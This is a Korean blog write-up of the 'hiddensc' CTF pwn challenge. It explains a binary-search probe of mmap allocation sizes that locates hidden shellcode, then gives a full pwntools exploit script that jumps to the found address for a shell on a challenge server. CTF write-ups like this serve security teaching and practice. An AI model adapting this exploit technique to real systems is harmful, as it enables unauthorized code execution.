튜기's bloggggg

hiddensc

category : pwn 
score : 200


Challenge

바이너리 자체는 간단한 기능을 수행한다.


[a]lloc, [j]ump : a
sz? 32
free? y
ye
[a]lloc, [j]ump : a
sz? 111111111111111111111111111111111111
FAIL
[a]lloc, [j]ump : j
sz? 99999999999


실행을 하게되면 "a"로 malloc을 이용해서 원하는 크기만큼 할당할 수 있고, 만약 할당할 수 없는 크기면 FAIL이 출력된다.


"j"로 원하는 주소에 점프를 할 수 있다.


이 문제에서는 sc가 저장되있는 주소에 점프를 해서 쉘을 획득하는 것이 목적이다.


Vulnerabilities

간단히 설명하면 mmap으로 크게 할당을 받으면 다음 세가지 영역에 할당될 확률이 있다.


1. sc 주소 이전,

2. sc 주소 이후 ~ text segment 이전,

3. heap이후~libc이전 이 세개 영역에 들어갈 확률이 있다.


서버의 주소가 20분마다 바뀌고,원하는 크기만큼 할당을 받아서 할당이 되는지 확인을 할 수 있기때문에,
위 3영역 중, 1번 영역이 제일 크게 할당되어 실행되는 경우 이진탐색으로 sc 위치를 파악할 수 있다.

(로컬에서 테스트할 경우, 서버와는 다르게 큰 수는 할당이 되지 않는다. 
로컬에서 테스트할 경우 /proc/sys/vm/overcommit_memory를 1로 바꿔주고 테스트하면 된다.

Exploit


from pwn import *

context.log_level = 'warn'

local = True
def conn():
    if local:
        return remote('localhost', 9000)
    else:
        return remote('54.202.7.144', 6969)

def solver() :
    s = conn()
    left = 0
    right = 0xffffffffffff
    mid = lambda l, r : (l+r) / 2
    while True:
        s.sendafter(':', 'a\n')
        s.sendafter('? ', str(mid(left, right)) + '\n')
        print map(hex, [left, right, mid(left,right)])
        if 'FAIL' in s.recv(5):
            right = mid(left, right)
        else:
            s.sendline('y')
            left = mid(left, right)
        if right - left < 2:
            break
    sc_addr = mid(left, right) & 0xfffffffff000
    s.close()

    for addr in range(sc_addr, sc_addr+0x20000, 0x1000):
        try:
            print 'addr =', hex(addr)
            s = conn()
            s.sendafter(':', 'j\n')
            s.sendafter('?', str(addr)+'\n')
            s.sendline('id')
            print s.recvline()
            s.interactive()
            break
        except:
            s.close()

if __name__ == '__main__' :
    solver()

  











저작자 표시 비영리 변경 금지
신고

Comment +0